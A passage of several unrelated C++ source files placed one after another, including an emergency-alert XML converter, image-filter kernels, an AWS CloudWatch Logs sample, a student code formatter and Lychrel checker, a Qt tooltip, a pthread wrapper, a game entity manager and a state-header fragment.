cmac_cap_identifier = root_node.append_child("CMAC_cap_identifier"); auto cmac_cap_sent_date_time = root_node.append_child("CMAC_cap_sent_date_time"); auto cmac_alert_info = root_node.append_child("CMAC_alert_info"); auto cmac_category = cmac_alert_info.append_child("CMAC_category"); auto cmac_event_code = cmac_alert_info.append_child("CMAC_event_code"); auto cmac_response_type = cmac_alert_info.append_child("CMAC_response_type"); auto cmac_severity = cmac_alert_info.append_child("CMAC_severity"); auto cmac_urgency = cmac_alert_info.append_child("CMAC_urgency"); auto cmac_certainty = cmac_alert_info.append_child("CMAC_certainty"); auto cmac_expires_date_time = cmac_alert_info.append_child("CMAC_expires_date_time"); auto cmac_sender_name = cmac_alert_info.append_child("CMAC_sender_name"); auto cmac_text_language = cmac_alert_info.append_child("CMAC_text_language"); auto cmac_text_alert_message_length = cmac_alert_info.append_child("CMAC_text_alert_message_length"); auto cmac_text_alert_message = cmac_alert_info.append_child("CMAC_text_alert_message"); auto cmac_alert_area = cmac_alert_info.append_child("CMAC_Alert_Area"); auto cmac_area_description = cmac_alert_area.append_child("CMAC_area_description"); auto cmac_polygon = cmac_alert_area.append_child("CMAC_polygon"); auto cmac_cmas_geocode = cmac_alert_area.append_child("CMAC_cmas_geocode"); // Creating geocode nodes and filling with content for (pugi::xml_node geocode = cap_message.child("info").child("area").first_child(); geocode; geocode = geocode.next_sibling()) { std::string node_name = geocode.name(); // std::cout << node_name << ' '; if (node_name.compare("geocode") == 0) { // std::cout << " made it "; auto cmac_cap_geocode = cmac_alert_area.append_child("CMAC_cap_geocode"); auto value_name = cmac_cap_geocode.append_child("valueName"); auto value = cmac_cap_geocode.append_child("value"); value_name.text().set(geocode.child("valueName").text().get()); value.text().set(geocode.child("value").text().get()); } } auto cmac_digital_signature = root_node.append_child("CMAC_Digital_Signature"); auto signature = cmac_digital_signature.append_child("Signature"); auto signed_info = signature.append_child("SignedInfo"); auto canonicalization_method = signed_info.append_child("CanonicalizationMethod"); auto signature_method = signed_info.append_child("SignatureMethod"); auto reference = signed_info.append_child("Reference"); auto transforms = reference.append_child("Transforms"); auto transform = transforms.append_child("Transform"); auto digest_method = reference.append_child("DigestMethod"); auto digest_value = reference.append_child("DigestValue"); auto signature_value = signature.append_child("SignatureValue"); auto key_info = signature.append_child("KeyInfo"); auto x509_data = key_info.append_child("X509Data"); auto x509_subject_name = x509_data.append_child("X509SubjectName"); auto x509_certificate = x509_data.append_child("X509Certificate"); // Setting values for all CMAC document nodes. cmac_protocol_version.text().set("1.0"); // TODO(Ross): Determine how to get gateway IP? cmac_sending_gateway_id.text().set(cap_message.child("sender").text().get()); // TODO(Ross): Determining how to identify CMSP-initiated value, when applicable. cmac_message_number.text().set(cap_message.child("identifier").text().get()); // TODO(Ross): Ensure correctness. cmac_special_handling.text().set(cap_message.child("scope").text().get()); cmac_sender.text().set(cap_message.child("sender").text().get()); cmac_sent_date_time.text().set(date_time_str.c_str()); cmac_status.text().set(cap_message.child("status").text().get()); cmac_message_type.text().set(cap_message.child("msgType").text().get()); cmac_response_code.text().set(cap_message.child("info").child("responseType").text().get()); if (cap_message.child("note")) { cmac_note.text().set(cap_message.child("note").text().get()); } cmac_cap_alert_uri.text().set("Temporary value"); // TODO(Ross): Determine how to obtain from the gateway. cmac_cap_identifier.text().set(cap_message.child("identifier").text().get()); cmac_cap_sent_date_time.text().set(cap_message.child("sent").text().get()); cmac_category.text().set(cap_message.child("info").child("category").text().get()); // TODO(Ross): Verify if this if-else is even necessary. std::string special_handling = cmac_special_handling.text().get(); if (special_handling.compare("Presidential") == 0) { cmac_event_code.text().set("EAN"); } else if (special_handling.compare("Child Abduction") == 0) { cmac_event_code.text().set("CAE"); } else if (special_handling.compare("Required Monthly Test") == 0) { cmac_event_code.text().set("RMT"); } cmac_response_type.text().set(cap_message.child("info").child("responseType").text().get()); cmac_severity.text().set(cap_message.child("info").child("severity").text().get()); cmac_urgency.text().set(cap_message.child("info").child("urgency").text().get()); cmac_certainty.text().set(cap_message.child("info").child("certainty").text().get()); cmac_expires_date_time.text().set(cap_message.child("info").child("expires").text().get()); cmac_sender_name.text().set(cap_message.child("info").child("senderName").text().get()); if (cap_message.child("language")) { cmac_text_language.text().set(cap_message.child("language").text().get()); } std::string alert_message = cap_message.child("info").child("description").text().get(); cmac_text_alert_message_length.text().set(alert_message.length()); cmac_text_alert_message.text().set(cap_message.child("info").child("description").text().get()); cmac_area_description.text().set(cap_message.child("info").child("area").child("areaDesc").text().get()); if (cap_message.child("info").child("area").child("polygon")) { cmac_polygon.text().set(cap_message.child("info").child("area").child("polygon").text().get()); } cmac_cmas_geocode.text().set(cap_message.child("info").child("area").child("polygon").text().get()); canonicalization_method.append_attribute("Algorithm"); canonicalization_method.attribute("Algorithm") = "http://www.w3.org/2001/10/xml-exc-c14n#"; signature_method.append_attribute("Algorithm"); signature_method.attribute("Algorithm") = "http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"; reference.append_attribute("URI"); transform.append_attribute("Algorithm"); transform.attribute("Algorithm") = "http://www.w3.org/2000/09/xmldsig#enveloped-signature"; digest_method.append_attribute("Algorithm"); digest_method.attribute("Algorithm") = "http://www.w3.org/2001/04/xmlenc#sha256"; // Assigning temporary values for currently unknown information. digest_value.text().set("Temporary value"); signature_value.text().set("Temporary value"); x509_subject_name.text().set("Temporary value"); x509_certificate.text().set("Temporary value"); // Saving CMAC document. bool saved = cmac_doc.save_file(cmac_filename.c_str()); } // int main() { // CMAC::convert("soap_message_test.xml", "test.xml"); // } /* Binary Image * * From: https://github.com/PokemonAutomation/Arduino-Source * */ #include #include "Common/Cpp/Exceptions.h" #include "Kernels/BinaryImageFilters/Kernels_BinaryImage_BasicFilters.h" #include "BinaryImage_FilterRgb32.h" namespace PokemonAutomation{ Kernels::PackedBinaryMatrix compress_rgb32_to_binary_min( const QImage& image, uint8_t min_red, uint8_t min_green, uint8_t min_blue ){ return compress_rgb32_to_binary_range( image, 255, 255, min_red, 255, min_green, 255, min_blue, 255 ); } Kernels::PackedBinaryMatrix compress_rgb32_to_binary_max( const QImage& image, uint8_t max_red, uint8_t max_green, uint8_t max_blue ){ return compress_rgb32_to_binary_range( image, 255, 255, 0, max_red, 0, max_green, 0, max_blue ); } Kernels::PackedBinaryMatrix compress_rgb32_to_binary_range( const QImage& image, uint8_t min_red, uint8_t max_red, uint8_t min_green, uint8_t max_green, uint8_t min_blue, uint8_t max_blue ){ return compress_rgb32_to_binary_range( image, 255, 255, min_red, max_red, min_green, max_green, min_blue, max_blue ); } Kernels::PackedBinaryMatrix compress_rgb32_to_binary_range( const QImage& image, uint8_t min_alpha, uint8_t max_alpha, uint8_t min_red, uint8_t max_red, uint8_t min_green, uint8_t max_green, uint8_t min_blue, uint8_t max_blue ){ Kernels::PackedBinaryMatrix ret(image.width(), image.height()); Kernels::compress_rgb32_to_binary_range( ret, (const uint32_t*)image.bits(), image.bytesPerLine(), ((uint32_t)min_alpha << 24) | ((uint32_t)min_red << 16) | ((uint32_t)min_green << 8) | (uint32_t)min_blue, ((uint32_t)max_alpha << 24) | ((uint32_t)max_red << 16) | ((uint32_t)max_green << 8) | (uint32_t)max_blue ); return ret; } Kernels::PackedBinaryMatrix compress_rgb32_to_binary_range( const QImage& image, uint32_t mins, uint32_t maxs ){ Kernels::PackedBinaryMatrix ret(image.width(), image.height()); Kernels::compress_rgb32_to_binary_range( ret, (const uint32_t*)image.bits(), image.bytesPerLine(), mins, maxs ); return ret; } void compress2_rgb32_to_binary_range( const QImage& image, Kernels::PackedBinaryMatrix& matrix0, uint32_t mins0, uint32_t maxs0, Kernels::PackedBinaryMatrix& matrix1, uint32_t mins1, uint32_t maxs1 ){ matrix0 = Kernels::PackedBinaryMatrix(image.width(), image.height()); matrix1 = Kernels::PackedBinaryMatrix(image.width(), image.height()); Kernels::compress2_rgb32_to_binary_range( (const uint32_t*)image.bits(), image.bytesPerLine(), matrix0, mins0, maxs0, matrix1, mins1, maxs1 ); } void compress4_rgb32_to_binary_range( const QImage& image, Kernels::PackedBinaryMatrix& matrix0, uint32_t mins0, uint32_t maxs0, Kernels::PackedBinaryMatrix& matrix1, uint32_t mins1, uint32_t maxs1, Kernels::PackedBinaryMatrix& matrix2, uint32_t mins2, uint32_t maxs2, Kernels::PackedBinaryMatrix& matrix3, uint32_t mins3, uint32_t maxs3 ){ matrix0 = Kernels::PackedBinaryMatrix(image.width(), image.height()); matrix1 = Kernels::PackedBinaryMatrix(image.width(), image.height()); matrix2 = Kernels::PackedBinaryMatrix(image.width(), image.height()); matrix3 = Kernels::PackedBinaryMatrix(image.width(), image.height()); Kernels::compress4_rgb32_to_binary_range( (const uint32_t*)image.bits(), image.bytesPerLine(), matrix0, mins0, maxs0, matrix1, mins1, maxs1, matrix2, mins2, maxs2, matrix3, mins3, maxs3 ); } void filter_rgb32( const Kernels::PackedBinaryMatrix& matrix, QImage& image, Color replace_with, bool replace_if_zero ){ if ((int)matrix.width() > image.width()){ throw InternalProgramError(nullptr, PA_CURRENT_FUNCTION, "Image width is too small."); } if ((int)matrix.height() > image.height()){ throw InternalProgramError(nullptr, PA_CURRENT_FUNCTION, "Image height is too small."); } Kernels::filter_rgb32( matrix, (uint32_t*)image.bits(), image.bytesPerLine(), (uint32_t)replace_with, replace_if_zero ); } } test/result.cpp #include #include #include TEST(Result, ImplicitVoidResult) { poly::result ok_value = poly::ok(1); poly::result as_void = poly::ok(); as_void = ok_value; EXPECT_TRUE(as_void.is_ok()); poly::result error = poly::error("Some error"); as_void = error; ASSERT_TRUE(as_void.is_error()); EXPECT_EQ(as_void.unwrap_error(), "Some error"); } 1-10 #pragma once #include #include "utils.hpp" namespace chip8 { class Stack { private: std::array m_stack; u8 m_sp; public: Stack(); void push(const u16 t_addr); u16 pop(); }; } // Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. // SPDX - License - Identifier: Apache - 2.0 /* Purpose: put_subscription_filter.cpp demonstrates how to create an Amazon Cloudwatch Logs subscription filter. */ //snippet-start:[cwl.cpp.put_subscription_filter.inc] #include #include #include #include #include //snippet-end:[cwl.cpp.put_subscription_filter.inc] /** * Create a CloudWatch Logs subscription filter based on command-line input */ int main(int argc, char** argv) { if (argc != 5) { std::cout << "Usage: " << std::endl << " put_subscription_filter " << " " << "" << std::endl; return 1; } Aws::SDKOptions options; Aws::InitAPI(options); { Aws::String filter_name(argv[1]); Aws::String filter_pattern(argv[2]); Aws::String log_group(argv[3]); Aws::String dest_arn(argv[4]); //snippet-start:[cwl.cpp.put_subscription_filter] Aws::CloudWatchLogs::CloudWatchLogsClient cwl; Aws::CloudWatchLogs::Model::PutSubscriptionFilterRequest request; request.SetFilterName(filter_name); request.SetFilterPattern(filter_pattern); request.SetLogGroupName(log_group); request.SetDestinationArn(dest_arn); auto outcome = cwl.PutSubscriptionFilter(request); if (!outcome.IsSuccess()) { std::cout << "Failed to create CloudWatch logs subscription filter " << filter_name << ": " << outcome.GetError().GetMessage() << std::endl; } else { std::cout << "Successfully created CloudWatch logs subscription " << "filter " << filter_name << std::endl; } //snippet-end:[cwl.cpp.put_subscription_filter] } Aws::ShutdownAPI(options); return 0; } /* * doorn2.cpp * Author: (2518074) * October 10th 2019 * * This program aims to provide the functionality described in assignment 2 'Keurig'. It will ask the user to input a * tab-width and the file they want to check and where the result should go to. The program will remove all comments * made using // and indent it properly. Additionally it will look for Lychrel numbers. */ #include #include bool is_number(char c) { /* * Checks if a character is a number. */ return ('0' <= c && c <= '9'); } int reverse_int(int n) { /* * Reverses an integer. */ int reversed_n = 0, remainder; while (n != 0) { // The remainder is the last digit in the number. remainder = n % 10; // Shift all digits in the reversed number to the right. reversed_n *= 10; // Add the remainder to the reversed number. reversed_n += remainder; // Divide the original number by 10 (floating point will be ignored). n /= 10; } // Return the reversed number. return reversed_n; } int lychrel(int n) { /* * Tries to compute a palindrome for n. If it fails to do so before reaching INT_MAX we will assume that it is a * Lychrel number. If the return is < 0 we reached INT_MAX, if the return is > 0 then that is the amount of * iterations it took to find a palindrome. */ int rn, j = 1; while (true) { // Get the reverse of N. rn = reverse_int(n); if (n == rn) { // N is equal to RN thus a palindrome. return j; } else { // See if we can add N and RN together without exceeding INT_MAX. if (n < INT_MAX - rn) { // If we can add them we do so. n += rn; } else { // If not we return j negated (we haven't found a palindrome). return -j; } } // Increase j with each iteration. j++; } } int main() { std::cout << "=============================================" << std::endl << "|This program is written by: |" << std::endl << "| (s2518074 - 2019) |" << std::endl << "| |" << std::endl << "|The assignment is called: 'Keurig' |" << std::endl << "| |" << std::endl << "|It will ask you to enter a input filename, |" << std::endl << "|an output filename and a tab-width. It will|" << std::endl << "|then format the input file and export it to|" << std::endl << "|the output file. |" << std::endl << "=============================================" << std::endl; int d = 0; // The current depth int tab; // The width of a tab char previous; // The previous character char current; // The current character int total_in = 1; // Total amount of characters that have been read. int total_out = 0; // Total amount of characters that have been written. bool comment = false; // Checks if we are in a comments currently. std::string number; // A number if we find one (Lychrel). int iterations = 0; // Biggest amount of iterations for the Lychrel numbers. int integer = 0; // The integer corresponding to those iterations. std::string input_file; // The input file. std::cout << "Which file would you like to parse: "; std::cin >> input_file; std::ifstream input(input_file); // Input stream // Check if we can read the file (a.k.a. does it exist?). if (input.fail()) { std::cout << "The file does not exist." << std::endl; return 1; } std::string output_file; // the output file. std::cout << "Where would you like the output to go: "; std::cin >> output_file; std::ofstream output(output_file); // Output stream std::cout << "What tab with would you like to use: "; std::cin >> tab; // Start parsing the file while (input.get(current)) { total_in += 1; // We've read an additional character. // Check if we are currently in a comment. if (comment) { // Linebreaks end comments. if (current == '\n') { comment = false; output.put('\n'); total_out += 1; previous = '\n'; continue; } else { // Skip the character continue; } } // Check if we are at the start of a comment if (previous == '/') { if (current == '/') { comment = true; continue; } else { output.put(previous); total_out += 1; } } // Check if we just had a newline if (previous == '\n') { if (current == ' ' || current == '\t') { // Skip all spaces/tabs after a newline. continue; } else { // After removing all spaces/tabs insert our own. int indent; if (current == '}') { indent = tab * (d - 1); } else { indent = tab * d; } for (int i = 0; i < indent; i++) { output.put(' '); total_out += 1; } } } if (current == '{') { // { increase indent level d += 1; } else if (current == '}') { // { decrease indent level d -= 1; } else if (is_number(current)) { // numbers are added to the current number string number += current; } else if (is_number(previous)) { // we just had a number, now we need to parse it. int i = std::stoi(number); int l = lychrel(i); if (l < 0) { std::cout << "Found the number: " << i << " it does not become a palindrome before reaching INT_MAX after " << -l << " iterations." << std::endl; if (-l > iterations) { iterations = -l; integer = i; } } else { std::cout << "Found the number: " << i << " it becomes a palindrome after " << l << " iterations." << std::endl; if (l > iterations) { iterations = l; integer = i; } } number = ""; } if (current != '/') { output.put(current); total_out += 1; } previous = current; } // Close in and output. input.close(); output.close(); // give a summary std::cout << "We have read " << total_in << " and written " << total_out << " characters." << std::endl; if (iterations != 0) { std::cout << "The biggest amount of iterations for Lychrel was " << iterations << " for the integer " << integer << std::endl; } else { std::cout << "No integers were tested if they are Lychrel numbers."; } return 0; } Liyinghui1/videoWidget #include "MyToolTip.h" #include #include #include #include #include #include CMyToolTip::CMyToolTip(QWidget *parent) : QWidget(parent) { //m_ptrParent = parent; //m_rectParent = parent->rect(); setWindowFlags(Qt::FramelessWindowHint | Qt::Tool); setAttribute(/* Qt::WA_DeleteOnClose| */Qt::WA_TranslucentBackground); //this->setFixedHeight(100); //this->setFixedWidth(400); m_label = new QLabel(this); m_label->setAutoFillBackground(true); m_label->setAlignment(Qt::AlignCenter); m_label->setGeometry(0, 0, this->width(), this->height()); // QHBoxLayout* mLayout = new QHBoxLayout(this); // mLayout->addWidget(m_label); // m_label->setStyleSheet("QLabel{" // "background-color: rgba(38, 38, 38, 0);" // "color: rgba(218, 218, 218, 255);" // "font-size: 25px; // "font-family: Comic Sans MS;}" // ); this->installEventFilter(this); this->setStyleSheet("QWidget{border-radius:5px;" "background-color: rgba(38, 38, 38, 255);}");//transparent m_strBackgroundColor = "background-color: rgba(38, 38, 38, 0);"; m_strTextColor = "color: rgba(218, 218, 218, 255);"; m_strFontSize = "font-size: 20px;"; m_strFontFamily = "font-family: Comic Sans MS;"; } void CMyToolTip::setText(const QString &text) { m_label->setText(text); } bool CMyToolTip::eventFilter(QObject* obj, QEvent* event) { if (obj == this) { // if (QEvent::WindowDeactivate == event->type()) // { // this->close(); // event->accept(); // return true; // } } return QWidget::eventFilter(obj, event); } void CMyToolTip::show() { QWidget::show(); } void CMyToolTip::hide() { QWidget::hide(); } void CMyToolTip::move(QPoint curPos) { QWidget::move(curPos); } void CMyToolTip::setTextColor(QColor rgb) { /*QPalette palette = m_label->palette(); palette.setColor(QPalette::WindowText, rgb); m_label->setPalette(palette);*/ int red = rgb.red(); int green = rgb.green(); int blue = rgb.blue(); int alpha = rgb.alpha(); m_strTextColor = QString("color: rgba(%1, %2, %3, %4);"). arg(red).arg(green).arg(blue).arg(alpha); m_label->setStyleSheet(getStyleSheet()); } void CMyToolTip::setBackgroundColor(QColor rgb) { /*QPalette palette = m_label->palette(); palette.setColor(QPalette::Background, rgb); m_label->setPalette(palette);*/ int red = rgb.red(); int green = rgb.green(); int blue = rgb.blue(); int alpha = rgb.alpha(); m_strBackgroundColor = QString("background-color: rgba(%1, %2, %3, %4);"). arg(red).arg(green).arg(blue).arg(alpha); m_label->setStyleSheet(getStyleSheet()); } void CMyToolTip::setFont(QFont font) { //m_label->setFont(font); m_strFontSize = QString("font-size: %1px;").arg(font.pointSize()); m_strFontFamily = "font-family: " + font.family(); m_label->setStyleSheet(getStyleSheet()); } QString CMyToolTip::getStyleSheet() { QString styleSheet = "QLabel{"+m_strBackgroundColor + m_strTextColor + m_strFontSize + m_strFontFamily + "}"; return styleSheet; } /* * threadp.cpp * * Created on: 01 gen 2018 * Author: william */ #include "threadp.h" #include #include #include using namespace std; namespace cpposix { static void* th_handler(void* arg) { if (arg != NULL) { ThreadParam *p = reinterpret_cast(arg); return p->this_p->handler(); //return (void*) NULL; } #ifdef TH_DEBUG else { cerr << "Improper call of th_handler without passing a " "pointer to thread class" << endl; } #endif return (void*) NULL; } ThreadP::ThreadP(const char* name) { int res = 0; id = -1; // running = false; //Create a default set of thread attributes res = pthread_attr_init(&this->th_attr); if(res != 0) { clog << "Error initializing thread attribute" << endl; } this->name = name; //Initialize the internal thread parameter this->param.this_p = this; this->param.other = NULL; #ifdef TH_DEBUG clog << "Creating a new ThreadP" << endl; #endif } ThreadP::~ThreadP() { // TODO Complete with a proper clean (including also additional arguments) //Free addtional arguments if they exists /*if(param.other != NULL) { delete[] param.other; }*/ param.other = NULL; #ifdef TH_DEBUG clog << "Destroying a ThreadP" << endl; #endif } //bool ThreadP::isRunning() const { // return running; //} int ThreadP::create(void) { /*int res = 0; res = pthread_create(&this->th, &this->th_attr, th_handler, (void*) (this)); return res;*/ return this->create(NULL); } int ThreadP::create(void* args) { int res = 0; /*if(args != NULL && size != 0) { //allocate new space for the additional argument if(this->param.other != 0) { delete[] this->param.other; } this->param.other = new char[size]; memcpy(this->param.other, reinterpret_cast(args), size); }*/ this->param.other = args; res = pthread_create(&this->id, &this->th_attr, th_handler, static_cast(&this->param)); return res; } int ThreadP::join(void) { return join(NULL); } int ThreadP::join(void** retval) { return pthread_join(this->id, retval); } //void ThreadP::setRunning(bool running) { // this->running = running; //} void ThreadP::exit(void* retval) { pthread_exit(retval); } pthread_t ThreadP::getId() const { return id; } bool ThreadP::operator ==(const ThreadP& other) const { return (pthread_equal(this->id, other.id) != 0); } int ThreadP::cancel(void) { return pthread_cancel(this->id); } int ThreadP::setCancelState(int state, int* old) { int res = 0; int tmp_old; /*Since there is no standard definition for oldstate == NULL, store the * value in a local variable*/ res = pthread_setcancelstate(state, &tmp_old); if(old != NULL) { *old = tmp_old; } return res; } int ThreadP::setCancelType(int type, int* old) { int res = 0; int tmp_old; /*Since there is no standard definition for oldType == NULL, store the * value in a local variable*/ res = pthread_setcanceltype(type, &tmp_old); if(old != NULL) { *old = tmp_old; } return res; } bool ThreadP::operator ==(const pthread_t& thid) const { return (pthread_equal(this->id, thid) != 0); } int ThreadP::detach(void) { return pthread_detach(this->id); } } /* namespace cpposix */ 0 #include "p2Defs.h" #include "p2Log.h" #include "j1App.h" #include "j1EntityManager.h" #include "j1Player.h" #include "j1Enemy_Flying.h" #include "j1Collisions.h" #include "j1Enemy_Walking.h" #include "j1Entity.h" #include "j1Enemy_Walking.h" #include "j1Gui.h" #include "j1PowerUp.h" #include "Brofiler\Brofiler.h" j1EntityManager::j1EntityManager() { name.create("entities"); //List of possible powerUpds c_powerup.add("coin"); c_powerup.add("lives"); assert(c_powerup.count() == PowerUpTypes::LAST); } j1EntityManager::~j1EntityManager() {} j1Entity* j1EntityManager::CreateEntity(EntityType type,SDL_Rect* col) { j1Entity* ret = nullptr; switch (type) { case EntityType::PLAYER: ret = new j1Player(col); break; case EntityType::FLYING_ENEMY: ret = new j1Enemy_Flying(col); break; case EntityType::WALKING_ENEMY: ret = new j1Enemy_Walking(col); break; case EntityType::COIN: ret = new j1PowerUp(col, PowerUpTypes::COIN); break; case EntityType::LIVES: ret = new j1PowerUp(col, PowerUpTypes::LIVES); break; } if (ret != nullptr) { ret->type = type; entities.add(ret); } return ret; } bool j1EntityManager::deleteEntity(j1Entity* entity) { if (entity != nullptr) { p2List_item* item; item = entities.start; while (item != NULL) { if (item->data == entity) { entities.del(item); break; } else item = item->next; } } return false; } bool j1EntityManager::Awake(pugi::xml_node& config) { bool ret = true; _config = App->LoadConfig(config_file).child("entities"); return true; } j1Player* j1EntityManager::GetPlayer() { p2List_item* item = entities.start; while (item != nullptr) { if (item->data->type == EntityType::PLAYER) return (j1Player*)item->data; item = item->next; } return nullptr; } bool j1EntityManager::AwakeEntities() { bool ret = true; p2List_item* item; item = entities.start; while (item != nullptr && ret == true) { pugi::xml_node node = _config.child(item->data->name.GetString()); ret = item->data->Awake(_config.child(item->data->name.GetString())); item = item->next; } return true; } bool j1EntityManager::LoadEntities(pugi::xml_node &data) { bool ret = true; p2List_item* item; item = entities.start; while (item != nullptr && ret == true) { ret = item->data->Load(data.child(item->data->name.GetString())); item = item->next; } return true; } bool j1EntityManager::StartEntities() { bool ret = true; p2List_item* item; item = entities.start; while (item != nullptr && ret == true) { ret = item->data->Start(); item = item->next; } return true; } bool j1EntityManager::Start() { bool ret = true; //App->collisions->setColliders(); LOG("Added E: %i", entities.count()); AwakeEntities(); p2List_item* item; item = entities.start; do_logic = false; while (item != nullptr && ret == true) { ret = item->data->Start(); item = item->next; } return true; } bool j1EntityManager::PreUpdate() { BROFILER_CATEGORY("EntityManagerPreUpdate", Profiler::Color::Aquamarine); bool ret = true; p2List_item* item; item = entities.start; while (item != nullptr && ret == true) { ret = item->data->PreUpdate(); item = item->next; } return true; } bool j1EntityManager::PostUpdate() { BROFILER_CATEGORY("EntityManagerPostUpdate", Profiler::Color::Azure); bool ret = true; p2List_item* item; item = entities.start; while (item != nullptr && ret == true) { ret = item->data->PostUpdate(); item = item->next; } return true; } bool j1EntityManager::Update(float dt) { BROFILER_CATEGORY("EntityManagerUpdate", Profiler::Color::Beige); accumulated_time += dt * 1000; float delay = 1000 / App->frame_cap; if (accumulated_time >= delay) do_logic = true; //if(dt > 0) UpdateAll(dt, do_logic); if (do_logic == true) { accumulated_time -= delay; do_logic = false; } return true; } bool j1EntityManager::UpdateAll(float dt, bool do_logic) { BROFILER_CATEGORY("EntityManagerUpdateAll", Profiler::Color::Chocolate); bool ret = true; p2List_item* item; for (item = entities.start; item != nullptr && ret == true; item = item->next) { if(dt != 0) item->data->Update(dt, do_logic); ret = item->data->Update(); } return ret; } bool j1EntityManager::CleanUp() { bool ret = true; p2List_item* item; for (item = entities.end; item != nullptr && ret == true; item = item->prev) { item->data->CleanUp(); delete item->data; item->data = nullptr; } entities.clear(); LOG("Cleaned E:%i", entities.count()); return ret; } bool j1EntityManager::Load(pugi::xml_node & data ) { CleanUp(); App->gui->Start(); j1Entity* entity; pugi::xml_node object = data.child("player"); while (object) { int x, y, w, h; x = object.child("position").attribute("x").as_uint(); y = object.child("position").attribute("y").as_uint(); w = object.child("position").attribute("w").as_uint(); h = object.child("position").attribute("h").as_uint(); CreateEntity(EntityType::PLAYER, new SDL_Rect({ x,y,w,h })); object = object.next_sibling("player"); } object = data.child("flying_enemy"); while (object) { int x, y, w, h; x = object.child("position").attribute("x").as_uint(); y = object.child("position").attribute("y").as_uint(); w = object.child("position").attribute("w").as_uint(); h = object.child("position").attribute("h").as_uint(); CreateEntity(EntityType::FLYING_ENEMY, new SDL_Rect({ x,y,w,h })); object = object.next_sibling("flying_enemy"); } object = data.child("walking_enemy"); while (object) { int x, y, w, h; x = object.child("position").attribute("x").as_uint(); y = object.child("position").attribute("y").as_uint(); w = object.child("position").attribute("w").as_uint(); h = object.child("position").attribute("h").as_uint(); CreateEntity(EntityType::WALKING_ENEMY, new SDL_Rect({ x,y,w,h })); object = object.next_sibling("walking_enemy"); } object = data.child("lives"); while (object) { int x, y, w, h; x = object.child("position").attribute("x").as_uint(); y = object.child("position").attribute("y").as_uint(); w = object.child("position").attribute("w").as_uint(); h = object.child("position").attribute("h").as_uint(); CreateEntity(EntityType::LIVES, new SDL_Rect({ x,y,w,h })); object = object.next_sibling("lives"); } object = data.child("coin"); while (object) { int x, y, w, h; x = object.child("position").attribute("x").as_uint(); y = object.child("position").attribute("y").as_uint(); w = object.child("position").attribute("w").as_uint(); h = object.child("position").attribute("h").as_uint(); CreateEntity(EntityType::COIN, new SDL_Rect({ x,y,w,h })); object = object.next_sibling("coin"); } AwakeEntities(); StartEntities(); LoadEntities(data); return true; } bool j1EntityManager::Save(pugi::xml_node & data ) const { for (p2List_item* iterator = entities.start; iterator; iterator = iterator->next) { iterator->data->Save(data.append_child(iterator->data->name.GetString())); } return true; } void j1EntityManager::OnCollision(Collider* c1, Collider* c2) { for (uint i = 0; i < entities.count(); ++i) if (entities[i] != nullptr && entities[i]->collider == c1) entities[i]->OnCollision(c1,c2); } lpzun/bssp /** * @name state.hh * * @date : Jun 21, 2015 * @author: */ #ifndef STATE_HH_ #define STATE_HH_ #include "algs.hh" namespace bssp { /// define local state using local_state = unsigned short; /// define the size of local states using size_l = unsigned short; /// define shared state using shared_state = unsigned short; /// define size of shared states using size_s = unsigned short; /// define the counter of thread state using size_p = unsigned short; /// define the thread_state id using id_thread_state = unsigned int; /// define the transition id using id_transition = unsigned int; /// class thread state class thread_state { public: static size_s S; /// the size of shared state static size_l L; /// the size of local state inline thread_state(); inline thread_state(const thread_state& t); inline thread_state(const shared_state& share, const local_state& local); ~thread_state() { } ostream& to_stream(ostream& out = cout) const; inline local_state get_local() const { return local; } inline shared_state get_share() const { return share; } private: shared_state share; local_state local; }; /** * @brief default constructor */ inline thread_state::thread_state() : share(0), local(0) { } /** * @brief constructor with thread state * @param t */ inline thread_state::thread_state(const thread_state& t) : share(t.share), local(t.local) { } /** * @brief constructor with shared state and local state * @param share: shared state * @param local: local state */ inline thread_state::thread_state(const shared_state& share, const local_state& local) : share(share), local(local) { __SAFE_ASSERT__(share < S && local < L); } /** * @brief print thread state * @param out * @return ostream */ inline ostream& thread_state::to_stream(ostream& out) const { out << "(" << share << "|" << local << ")"; return out; } /** * @brief overloading operator <<: print thread state * @param out * @param ts * @return ostream */ inline ostream& operator<<(ostream& out, const thread_state& t) { return t.to_stream(out); } /** * @brief overloading operator == * @param t1 * @param t2 * @return bool * true : if t1 == t2 * false: otherwise */ inline bool operator==(const thread_state& t1, const thread_state& t2) { return t1.get_share() == t2.get_share() && t1.get_local() == t2.get_local(); } /** * @brief overloading operator != * @param t1 * @param t2 * @return bool * true : if t1 == t2 * false: otherwise */ inline bool operator!=(const thread_state& t1, const thread_state& t2) { return !(t1 == t2); } /** * @brief overloading operator < * @param t1 * @param t2 * @return bool * true : if t1 < t2 * false: otherwise */ inline bool operator<(const thread_state& t1, const thread_state& t2) { if (t1.get_share() == t2.get_share()) return t1.get_local() < t2.get_local(); else return t1.get_share() < t2.get_share(); } /** * @brief overloading operator > * @param t1 * @param t2 * @return bool * true : if t1 > t2 * false: otherwise */ inline bool operator>(const thread_state& t1, const thread_state& t2) { return t2 < t1; } /// class global state /// #ifdef HASHMAP using ca_locals = unordered_map; #endif using ca_locals = map; class global_state { public: inline global_state(); inline global_state(const thread_state& t); inline global_state(const thread_state& t, const size_p& n); inline global_state(const shared_state& s, const local_state&l, const size_p& n); inline global_state(const shared_state& share, const ca_locals& locals); inline global_state(const global_state& s); ~global_state() { } ostream& to_stream(ostream& out = cout, const string& sep = "|") const; inline const ca_locals& get_locals() const { return locals; } inline shared_state get_share() const { return share; } private: shared_state share; ca_locals locals; }; /** * @brief default constructor: initialize * share = 0 * locals = empty map */ inline global_state::global_state() : share(0), locals(ca_locals()) { } /** * @brief constructor with a thread state * @param t */ inline global_state::global_state(const thread_state& t) : share(t.get_share()), locals(ca_locals()) { locals.emplace(t.get_local(), 1); } /** * @brief constructor with a thread state and n threads * @param t * @param n */ inline global_state::global_state(const thread_state& t, const size_p& n) : share(t.get_share()), locals(ca_locals()) { locals.emplace(t.get_local(), n); } /** * * @param s * @param l * @param n */ inline global_state::global_state(const shared_state& s, const local_state& l, const size_p& n) : share(s), locals(ca_locals()) { locals.emplace(l, n); } /** * @brief constructor with a shared state and local states * @param share : shared state * @param locals: local states represented in counter abstraction form */ inline global_state::global_state(const shared_state& share, const ca_locals& locals) : share(share), locals(locals) { } /** * @brief constructor with a global state * @param s */ inline global_state::global_state(const global_state& s) : share(s.get_share()), locals(s.get_locals()) { } /** * @brief call by << * @param out * @param sep * @return */ inline ostream& global_state::to_stream(ostream& out, const string& sep) const { out << "<" << this->share << "|"; for (auto iloc = this->locals.begin(); iloc 